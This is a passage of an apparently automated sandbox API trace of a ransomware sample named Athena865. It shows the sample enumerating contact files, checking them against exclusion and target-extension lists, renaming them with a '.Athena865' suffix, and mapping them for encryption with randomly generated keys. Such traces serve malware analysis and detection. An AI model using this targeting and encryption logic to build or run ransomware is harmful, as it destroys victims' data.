lstrcmpiW (lpString1="act", lpString2="oqy") returned -1 [0050.025] lstrlenW (lpString="ora") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="ora") returned -1 [0050.025] lstrlenW (lpString="orx") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="orx") returned -1 [0050.025] lstrlenW (lpString="owc") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="owc") returned -1 [0050.025] lstrlenW (lpString="p96") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="p96") returned -1 [0050.025] lstrlenW (lpString="p97") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="p97") returned -1 [0050.026] lstrlenW (lpString="pan") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="pan") returned -1 [0050.026] lstrlenW (lpString="pdb") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="pdb") returned -1 [0050.026] lstrlenW (lpString="pdm") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="pdm") returned -1 [0050.026] lstrlenW (lpString="pnz") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="pnz") returned -1 [0050.026] lstrlenW (lpString="qry") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="qry") returned -1 [0050.026] lstrlenW (lpString="qvd") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="qvd") returned -1 [0050.026] lstrlenW (lpString="rbf") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="rbf") returned -1 [0050.026] lstrlenW (lpString="rctd") returned 4 [0050.026] lstrcmpiW (lpString1="tact", lpString2="rctd") returned 1 [0050.026] lstrlenW (lpString="rod") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="rod") returned -1 [0050.026] lstrlenW (lpString="rodx") returned 4 [0050.026] lstrcmpiW (lpString1="tact", lpString2="rodx") returned 1 [0050.026] lstrlenW (lpString="rpd") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="rpd") returned -1 [0050.026] lstrlenW (lpString="rsd") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="rsd") returned -1 [0050.026] lstrlenW (lpString="sas7bdat") returned 8 [0050.026] lstrcmpiW (lpString1=".contact", lpString2="sas7bdat") returned -1 [0050.026] lstrlenW (lpString="sbf") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="sbf") returned -1 [0050.026] lstrlenW (lpString="scx") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="scx") returned -1 [0050.026] lstrlenW (lpString="sdb") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="sdb") returned -1 [0050.026] lstrlenW (lpString="sdc") returned 3 [0050.026] lstrcmpiW (lpString1="act", lpString2="sdc") returned -1 [0050.026] lstrlenW (lpString="sdf") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="sdf") returned -1 [0050.027] lstrlenW (lpString="sis") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="sis") returned -1 [0050.027] lstrlenW (lpString="spq") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="spq") returned -1 [0050.027] lstrlenW (lpString="te") returned 2 [0050.027] lstrcmpiW (lpString1="ct", lpString2="te") returned -1 [0050.027] lstrlenW (lpString="teacher") returned 7 [0050.027] lstrcmpiW (lpString1="contact", lpString2="teacher") returned -1 [0050.027] lstrlenW (lpString="tmd") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="tmd") returned -1 [0050.027] lstrlenW (lpString="tps") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="tps") returned -1 [0050.027] lstrlenW (lpString="trc") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="trc") returned -1 [0050.027] lstrlenW (lpString="trc") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="trc") returned -1 [0050.027] lstrlenW (lpString="trm") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="trm") returned -1 [0050.027] lstrlenW (lpString="udb") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="udb") returned -1 [0050.027] lstrlenW (lpString="udl") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="udl") returned -1 [0050.027] lstrlenW (lpString="usr") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="usr") returned -1 [0050.027] lstrlenW (lpString="v12") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="v12") returned -1 [0050.027] lstrlenW (lpString="vis") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="vis") returned -1 [0050.027] lstrlenW (lpString="vpd") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="vpd") returned -1 [0050.027] lstrlenW (lpString="vvv") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="vvv") returned -1 [0050.027] lstrlenW (lpString="wdb") returned 3 [0050.027] lstrcmpiW (lpString1="act", lpString2="wdb") returned -1 [0050.028] lstrlenW (lpString="wmdb") returned 4 [0050.028] lstrcmpiW (lpString1="tact", lpString2="wmdb") returned -1 [0050.028] lstrlenW (lpString="wrk") returned 3 [0050.028] lstrcmpiW (lpString1="act", lpString2="wrk") returned -1 [0050.028] lstrlenW (lpString="xdb") returned 3 [0050.028] lstrcmpiW (lpString1="act", lpString2="xdb") returned -1 [0050.028] lstrlenW (lpString="xld") returned 3 [0050.028] lstrcmpiW (lpString1="act", lpString2="xld") returned -1 [0050.028] lstrlenW (lpString="xmlff") returned 5 [0050.028] lstrcmpiW (lpString1="ntact", lpString2="xmlff") returned -1 [0050.028] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.Athena865") returned 89 [0050.028] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.athena865"), dwFlags=0x1) returned 1 [0050.032] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.032] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1178) returned 1 [0050.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.032] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.033] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.033] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.033] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x154 [0050.035] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000 [0050.036] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.037] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.037] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.037] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.037] CloseHandle (hObject=0x154) returned 1 [0050.038] CloseHandle (hObject=0x17c) returned 1 [0050.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.038] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2=".") returned 1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="..") returned 1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="windows") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="bootmgr") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="temp") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="pagefile.sys") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="boot") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="ids.txt") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="ntuser.dat") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="perflogs") returned -1 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2="MSBuild") returned -1 [0050.038] lstrlenW (lpString="Administrator.contact") returned 21 [0050.038] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Administrator.contact" | out: lpString1="Administrator.contact") returned="Administrator.contact" [0050.038] lstrlenW (lpString="Administrator.contact") returned 21 [0050.038] lstrlenW (lpString="Athena865") returned 9 [0050.038] lstrcmpiW (lpString1="r.contact", lpString2="Athena865") returned 1 [0050.038] lstrlenW (lpString=".dll") returned 4 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2=".dll") returned 1 [0050.038] lstrlenW (lpString=".lnk") returned 4 [0050.038] lstrcmpiW (lpString1="Administrator.contact", lpString2=".lnk") returned 1 [0050.038] lstrlenW (lpString=".ini") returned 4 [0050.039] lstrcmpiW (lpString1="Administrator.contact", lpString2=".ini") returned 1 [0050.039] lstrlenW (lpString=".sys") returned 4 [0050.039] lstrcmpiW (lpString1="Administrator.contact", lpString2=".sys") returned 1 [0050.039] lstrlenW (lpString="Administrator.contact") returned 21 [0050.039] lstrlenW (lpString="bak") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="bak") returned -1 [0050.039] lstrlenW (lpString="ba_") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1 [0050.039] lstrlenW (lpString="dbb") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1 [0050.039] lstrlenW (lpString="vmdk") returned 4 [0050.039] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1 [0050.039] lstrlenW (lpString="rar") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="rar") returned -1 [0050.039] lstrlenW (lpString="zip") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="zip") returned -1 [0050.039] lstrlenW (lpString="tgz") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1 [0050.039] lstrlenW (lpString="vbox") returned 4 [0050.039] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1 [0050.039] lstrlenW (lpString="vdi") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1 [0050.039] lstrlenW (lpString="vhd") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1 [0050.039] lstrlenW (lpString="vhdx") returned 4 [0050.039] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1 [0050.039] lstrlenW (lpString="avhd") returned 4 [0050.039] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1 [0050.039] lstrlenW (lpString="db") returned 2 [0050.039] lstrcmpiW (lpString1="ct", lpString2="db") returned -1 [0050.039] lstrlenW (lpString="db2") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="db2") returned -1 [0050.039] lstrlenW (lpString="db3") returned 3 [0050.039] lstrcmpiW (lpString1="act", lpString2="db3") returned -1 [0050.040] lstrlenW (lpString="dbf") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1 [0050.040] lstrlenW (lpString="mdf") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1 [0050.040] lstrlenW (lpString="mdb") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1 [0050.040] lstrlenW (lpString="sql") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="sql") returned -1 [0050.040] lstrlenW (lpString="sqlite") returned 6 [0050.040] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1 [0050.040] lstrlenW (lpString="sqlite3") returned 7 [0050.040] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1 [0050.040] lstrlenW (lpString="sqlitedb") returned 8 [0050.040] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1 [0050.040] lstrlenW (lpString="xml") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="xml") returned -1 [0050.040] lstrlenW (lpString="$er") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="$er") returned 1 [0050.040] lstrlenW (lpString="4dd") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1 [0050.040] lstrlenW (lpString="4dl") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1 [0050.040] lstrlenW (lpString="^^^") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1 [0050.040] lstrlenW (lpString="abs") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="abs") returned 1 [0050.040] lstrlenW (lpString="abx") returned 3 [0050.040] lstrcmpiW (lpString1="act", lpString2="abx") returned 1 [0050.040] lstrlenW (lpString="accdb") returned 5 [0050.040] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1 [0050.040] lstrlenW (lpString="accdc") returned 5 [0050.040] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1 [0050.040] lstrlenW (lpString="accde") returned 5 [0050.041] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1 [0050.041] lstrlenW (lpString="accdr") returned 5 [0050.041] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1 [0050.041] lstrlenW (lpString="accdt") returned 5 [0050.041] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1 [0050.041] lstrlenW (lpString="accdw") returned 5 [0050.041] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1 [0050.041] lstrlenW (lpString="accft") returned 5 [0050.041] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1 [0050.041] lstrlenW (lpString="adb") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.041] lstrlenW (lpString="adb") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.041] lstrlenW (lpString="ade") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="ade") returned -1 [0050.041] lstrlenW (lpString="adf") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="adf") returned -1 [0050.041] lstrlenW (lpString="adn") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="adn") returned -1 [0050.041] lstrlenW (lpString="adp") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="adp") returned -1 [0050.041] lstrlenW (lpString="alf") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="alf") returned -1 [0050.041] lstrlenW (lpString="ask") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="ask") returned -1 [0050.041] lstrlenW (lpString="btr") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="btr") returned -1 [0050.041] lstrlenW (lpString="cat") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="cat") returned -1 [0050.041] lstrlenW (lpString="cdb") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1 [0050.041] lstrlenW (lpString="ckp") returned 3 [0050.041] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1 [0050.041] lstrlenW (lpString="cma") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="cma") returned -1 [0050.042] lstrlenW (lpString="cpd") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1 [0050.042] lstrlenW (lpString="dacpac") returned 6 [0050.042] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1 [0050.042] lstrlenW (lpString="dad") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="dad") returned -1 [0050.042] lstrlenW (lpString="dadiagrams") returned 10 [0050.042] lstrcmpiW (lpString1="or.contact", lpString2="dadiagrams") returned 1 [0050.042] lstrlenW (lpString="daschema") returned 8 [0050.042] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1 [0050.042] lstrlenW (lpString="db-journal") returned 10 [0050.042] lstrcmpiW (lpString1="or.contact", lpString2="db-journal") returned 1 [0050.042] lstrlenW (lpString="db-shm") returned 6 [0050.042] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1 [0050.042] lstrlenW (lpString="db-wal") returned 6 [0050.042] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1 [0050.042] lstrlenW (lpString="dbc") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1 [0050.042] lstrlenW (lpString="dbs") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1 [0050.042] lstrlenW (lpString="dbt") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1 [0050.042] lstrlenW (lpString="dbv") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1 [0050.042] lstrlenW (lpString="dbx") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1 [0050.042] lstrlenW (lpString="dcb") returned 3 [0050.042] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1 [0050.043] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.Athena865") returned 87 [0050.043] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.athena865"), dwFlags=0x1) returned 1 [0050.043] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.043] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68382) returned 1 [0050.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.044] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.044] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.044] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.045] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e20, lpName=0x0) returned 0x154 [0050.046] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e20) returned 0x100000 [0050.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.051] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.051] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.051] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.052] CloseHandle (hObject=0x154) returned 1 [0050.052] CloseHandle (hObject=0x17c) returned 1 [0050.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.053] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".") returned 1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="..") returned 1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="windows") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="bootmgr") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="temp") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="pagefile.sys") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="boot") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="ids.txt") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="ntuser.dat") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="perflogs") returned -1 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2="MSBuild") returned -1 [0050.053] lstrlenW (lpString="asdlfk poopvy.contact") returned 21 [0050.053] lstrcpyW (in: lpString1=0x241e8b8, lpString2="asdlfk poopvy.contact" | out: lpString1="asdlfk poopvy.contact") returned="asdlfk poopvy.contact" [0050.053] lstrlenW (lpString="asdlfk poopvy.contact") returned 21 [0050.053] lstrlenW (lpString="Athena865") returned 9 [0050.053] lstrcmpiW (lpString1="y.contact", lpString2="Athena865") returned 1 [0050.053] lstrlenW (lpString=".dll") returned 4 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".dll") returned 1 [0050.053] lstrlenW (lpString=".lnk") returned 4 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".lnk") returned 1 [0050.053] lstrlenW (lpString=".ini") returned 4 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".ini") returned 1 [0050.053] lstrlenW (lpString=".sys") returned 4 [0050.053] lstrcmpiW (lpString1="asdlfk poopvy.contact", lpString2=".sys") returned 1 [0050.053] lstrlenW (lpString="asdlfk poopvy.contact") returned 21 [0050.053] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.Athena865") returned 87 [0050.053] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.athena865"), dwFlags=0x1) returned 1 [0050.056] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.056] GetFileSizeEx (in: hFile=0x17c, 